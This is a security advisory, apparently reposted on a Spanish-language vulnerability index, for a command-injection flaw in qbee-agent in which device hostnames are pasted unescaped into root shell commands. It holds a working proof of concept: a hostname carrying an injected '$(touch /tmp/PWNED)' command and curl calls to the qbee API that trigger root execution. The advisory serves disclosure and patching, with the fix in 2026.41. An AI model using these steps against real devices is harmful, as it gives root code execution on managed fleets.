GHSA-H4QC-4JX3-WGH8
Command Injection via Unsanitized Device Hostname in Root Shell Commands
CVSS:4.0/AV:A/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
Fuente: GitHub
Ciclo de vida de la vulnerabilidad
| Fecha | Fase | Evento | Detalle |
|---|---|---|---|
| Divulgación | Publicada | GHSA-H4QC-4JX3-WGH8 divulgada · CVSS 7.7 (GitHub) | |
| Monitoreo | Detectada | Ingresó al índice | |
| Monitoreo | Verificada | Última verificación contra las fuentes |
qbee-agent: device-derived configuration parameters are substituted into root
shell commands without shell escaping — an attacker-influenced hostname (or
other device attribute) injects arbitrary commands executed as root on the
device (CVE-2026-62336 component family)
Affected asset
qbee-agent (https://github.com/qbee-io/qbee-agent), current HEAD
(version 2026.27 codebase): app/configuration/command_linux.go:47-55
(RunCommand) + app/configuration/bundle_parameters.go:148-221
(resolveParameters). Reachable from every command-bearing configuration
bundle: file distribution AfterCommand, process-watch, pre/post/reboot
conditions, software management, RAUC, docker compose.
Summary
resolveParameters performs raw textual substitution of $(key) parameters —
including DEVICE-DERIVED values such as $(sys.host) = os.Hostname() — with
no shell escaping whatsoever. The resulting string is passed to
`exec.CommandContext(ctx, shell, "-c", command)`. A hostname containing
shell metacharacters therefore turns any config template that interpolates
a device-derived parameter into an unquoted command field into root shell
code execution on the device, executed by the agent's own command runner.
Technical detail
- Command execution (command_linux.go:47-55):
command = resolveParameters(ctx, command)
...
cmd := exec.CommandContext(ctx, shell, "-c", command)
- Parameter substitution (bundle_parameters.go): a hand-written scanner
if valFn, exists := systemParameters[key]; exists {
if val, err := valFn(ctx); err != nil { ... } else {
result.WriteString(val) // <-- no quoting/escaping
}
}
- Device-derived parameter source (bundle_parameters.go:81-83):
"sys.host": func(ctx context.Context) (string, error) {
return os.Hostname()
},
(same class: sys.os, sys.arch, sys.os_type, sys.flavor, sys.boot_time —
all read from local inventory files/state).
Note the repository already contains the correct pattern: all argv-form
execution goes through utils.NewCommand (argv arrays, no shell); only the
command-string path is vulnerable.
Steps to reproduce
Prerequisites: a qbee account (free registration), one device running
qbee-agent (any build from current HEAD), and the ability to set the
device hostname (sethostname(2), DHCP option 12, or hostnamectl).
On the DEVICE (hostname = the attacker-controlled attribute):
sethostname 'pwn$(touch /tmp/PWNED)'
From any machine (4 curl commands — executed and verified 2026-09-03):
# 1. login, get the JWT
TOKEN=$(curl -s -X POST https://www.app.qbee.io/api/v2/login \
-H "Content-Type: application/json" \
-d '{"email":"<email>","password":"<password>"}' | jq -r .token)
# 2. upload any small file to the platform file manager
echo x > f5-source.txt
curl -s -X POST https://www.app.qbee.io/api/v2/file \
-H "Authorization: Bearer $TOKEN" \
-F "file=@f5-source.txt;filename=f5-source.txt" -F "path=/"
# 3. save a file_distribution change whose command interpolates the hostname
NODE_ID=$(curl -s https://www.app.qbee.io/api/v2/grouptree \
-H "Authorization: Bearer $TOKEN" | jq -r '.tree.nodes[0].node_id')
curl -s -X POST https://www.app.qbee.io/api/v2/change \
-H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" \
-d '{"node_id":"'$NODE_ID'","formtype":"file_distribution","extend":false,
"config":{"enabled":true,"files":[{"label":"poc",
"command":"echo run $(sys.host)",
"templates":[{"source":"f5-source.txt",
"destination":"/tmp/f5-test.txt","is_template":false}]}]}}'
# 4. commit the change
curl -s -X POST https://www.app.qbee.io/api/v2/commit \
-H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" \
-d '{"message":"poc"}'
# 5. the agent applies the configuration on its next cycle
# (or immediately with: qbee-agent start --run-once)
# 6. on the device:
ls -la /tmp/PWNED /tmp/f5-test.txt
-rw------- 1 root root 0 ... /tmp/PWNED <- injected command ran as root
-rw------- 1 root root 16 ... /tmp/f5-test.txt <- file distribution itself worked
The agent resolved $(sys.host) to `pwn$(touch /tmp/PWNED)` and executed
`sh -c "echo run pwn$(touch /tmp/PWNED)"` as root. Note: the AfterCommand
runs when the file set changes — use a fresh destination filename per run.
Impact
The agent runs as root on managed devices (the platform's own documented
operation model). An attacker who can influence the device hostname —
network-adjacent via DHCP on many embedded/BusyBox systems, or any local
user with hostname rights — converts any configuration that interpolates
device-derived parameters into a root shell. The qbee docs teach parameter
usage in configuration templates; nothing warns that interpolation into
command fields is unsafe. This is a device-fleet-wide root code execution
primitive.
Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.
Desglose de métricas
Rangos afectados
Estado del parche por paquete
| Paquete / producto | Estado | Corregida en | Desde divulgación | Última versión |
|---|---|---|---|---|
Gogo.qbee.io/agent |
Corregida | 2026.41 | — | — |
2026.41Arsenal público
Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.
https://github.com/qbee-io/qbee-agent/security/advisories/GHSA-h4qc-4jx3-wgh8Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.
